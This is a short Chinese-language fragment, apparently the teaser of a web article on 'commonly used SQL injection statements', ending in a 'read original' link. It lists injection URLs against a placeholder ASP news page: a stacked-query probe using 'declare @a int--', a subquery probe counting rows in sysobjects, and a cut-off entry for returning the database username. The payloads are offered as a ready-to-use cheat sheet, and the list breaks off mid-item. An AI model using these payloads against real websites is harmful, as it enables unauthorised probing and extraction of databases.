SQL 注入有经常使用语句

是否支持多句查询 http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int-- 数据库 是否支持子查询 http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0服务器 返回用户名 http://www.xxx.com

>>阅读原文<<